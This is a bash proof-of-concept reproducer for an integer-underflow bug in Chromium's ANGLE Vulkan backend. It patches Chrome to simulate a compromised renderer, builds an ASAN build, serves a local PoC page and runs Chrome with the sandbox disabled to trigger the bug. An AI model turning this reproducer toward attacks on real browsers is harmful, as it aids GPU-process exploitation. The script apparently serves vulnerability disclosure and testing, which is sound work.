#!/bin/bash
# Reproducer for: ANGLE Vulkan glCopySubTextureCHROMIUM BASE_LEVEL-toggle
# bypass -> stale mFirstAllocatedLevel -> toVkLevel uint32 underflow ->
# vkCmdCopyImage with srcSubresource.mipLevel = 0xFFFFFFFE.
#
# Strategy: code-injection (compromised-renderer simulation).
#   * Renderer process: injected GL command sequence in
#     WebGLRenderingContextBase::finish() goes over the GLES2 command
#     buffer (IPC) to the GPU process.
#   * GPU process (target): observation-only fprintf + ASAN backtrace at
#     the underflow site so the bug is visible without depending on
#     driver-specific behaviour.

set -e
SRC=/chromium/chromium/src
OUT=$SRC/out/asan
ART=$(cd "$(dirname "$0")" && pwd)

echo "[*] Applying POC patch (renderer injection + GPU observation)"
( cd "$SRC" && patch -p1 < "$ART/chromium-changes.patch" )

echo "[*] Building chrome"
( cd "$SRC" && autoninja -j 5 -C out/asan chrome )

echo "[*] Starting HTTP server"
python3 "$ART/server.py" &
SRV=$!
trap 'kill $SRV 2>/dev/null;
      ( cd "$SRC" && patch -R -p1 < "$ART/chromium-changes.patch" )' EXIT
sleep 1

echo "[*] Launching Chrome (ANGLE-on-Vulkan via SwiftShader)"
rm -rf /tmp/chrome-poc-profile
ASAN_OPTIONS="symbolize=1" \
ASAN_SYMBOLIZER_PATH="$SRC/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer" \
timeout 45 "$OUT/chrome" \
  --no-sandbox --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --user-data-dir=/tmp/chrome-poc-profile \
  --use-gl=angle --use-angle=swiftshader --enable-unsafe-swiftshader \
  --enable-logging=stderr --v=0 \
  http://127.0.0.1:8080/poc.html 2>&1 \
  | grep -Ev 'dbus|DBus|object_proxy|fontconfig|dbind|PreReadFile|idle_linux|gbm_support|InitializeSandbox|Identity Consistency|crashpad|cpufreq|drmGetDevices2' \
  | tee "$ART/chrome-output.log"

echo
echo "[*] Look for: '[POC][gpu pid=...] CWE-191 INTEGER UNDERFLOW ... 0xFFFFFFFE'"
echo "[*] and frame #2 at TextureVk.cpp:1877 (srcSubresource.mipLevel sink)."
